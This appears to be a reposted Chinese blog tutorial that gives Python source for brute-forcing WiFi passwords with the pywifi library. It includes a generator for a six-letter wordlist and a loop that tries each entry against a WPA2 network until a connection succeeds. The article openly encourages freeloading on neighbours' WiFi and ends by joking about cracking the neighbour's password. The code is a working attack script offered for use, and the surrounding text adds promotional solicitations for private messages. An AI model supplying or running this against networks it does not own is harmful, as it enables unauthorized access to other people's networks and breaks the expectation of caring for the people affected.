【Python实战】WIFI密码小工具,甩万能钥匙十条街,WIFI任意连哦~(附源码) 您所在的位置:网站首页 有手机版python 【Python实战】WIFI密码小工具,甩万能钥匙十条街,WIFI任意连哦~(附源码)

【Python实战】WIFI密码小工具,甩万能钥匙十条街,WIFI任意连哦~(附源码)

2023-08-15 05:40| 来源: 网络整理| 查看: 265

前言

不会吧不会吧,流量都这么便宜了不会还有人在蹭别人家WIFI吧? 

但是也可以理解哈,试问谁还没有经历过这种时光那?就算是我,也曾经有过蹲在别人家大门

口蹭WIFi的事儿。这都是成长道路中不可避免的一环。毕竟免费的谁不想白嫖呢?

今天,我就为大家隆重介绍一款WIFI免费白嫖工具,他是一款真正意义上的工具哦!​快来快来

所有文章完整的素材+源码都在👇👇

粉丝白嫖源码福利,请移步至CSDN社区或文末公众hao即可免费。

正文

环境安装—— 

Python3、 Pycharm 、pywifi、部分自带模块就不展示 啦。 

(如需安 装包、激活码等直接 私信我即可安装问题解答都可以的哈~) 

 第三方库的安装: 

pip install pywifi 带镜像源 pip install -i https://pypi.douban.com/simple/ +模块名​ ​代码展示—— 生成密码本: import itertools as its words = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" r = its.product(words, repeat=6) dic = open("passwords.txt", "w") for i in r: dic.write("".join(i)) dic.close ​​主程序: import time #时间 import pywifi #破解wifi from pywifi import const #引用一些定义 from asyncio.tasks import sleep class PoJie(): def __init__(self,path): self.file=open(path,"r",errors="ignore") wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = wifi.interfaces()[0]#抓取第一个无限网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠1秒 #测试网卡是否属于断开状态, assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def readPassWord(self): print("开始破解:") while True: try: myStr =self.file.readline() if not myStr: break bool1=self.test_connect(myStr) if bool1: print("密码正确:",myStr) break else: print("密码错误:"+myStr) sleep(3) except: continue def test_connect(self,findStr):#测试链接 profile = pywifi.Profile() #创建wifi链接文件 profile.ssid = "e2" #wifi名称 profile.auth = const.AUTH_ALG_OPEN #网卡的开放, profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 profile.key = findStr #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件 self.iface.connect(tmp_profile)#链接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def __del__(self): self.file.close() path=r"I:/Program Files/Python37/Scripts/Python Programs/Python学习/破解wifi密码/passwords.txt" start=PoJie(path) start.readPassWord() ​总结

这款工具效率虽然不高,但是确实很脚踏实地啊!对不对?!好了不说了,我去破解邻居家密

码去了,哈哈哈。

✨完整的素材源码等:可以滴滴我吖!或者点击文末hao自取免费拿的哈~ 😘往期推荐阅读——

项目0.4 【Tkinter界面化小程序】用Python做一款免费音乐下载器、无广告无弹窗、清爽超流畅哦

项目0.5  【Python爬虫系列】浅尝一下爬虫40例实战教程+源代码【基础+进阶】

项目0.7  【Python爬虫实战】 不生产小说,只做网站的搬运工,太牛逼了~(附源码)

项目0.8  【Python实战】再分享一款商品秒杀小工具,我已经把压箱底的宝贝拿出来啦~

🎁文章汇总——

Python文章合集 | (入门到实战、游戏、Turtle、案例等)

(文章汇总还有更多你案例等你来学习啦~源码找我即可免费!)



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有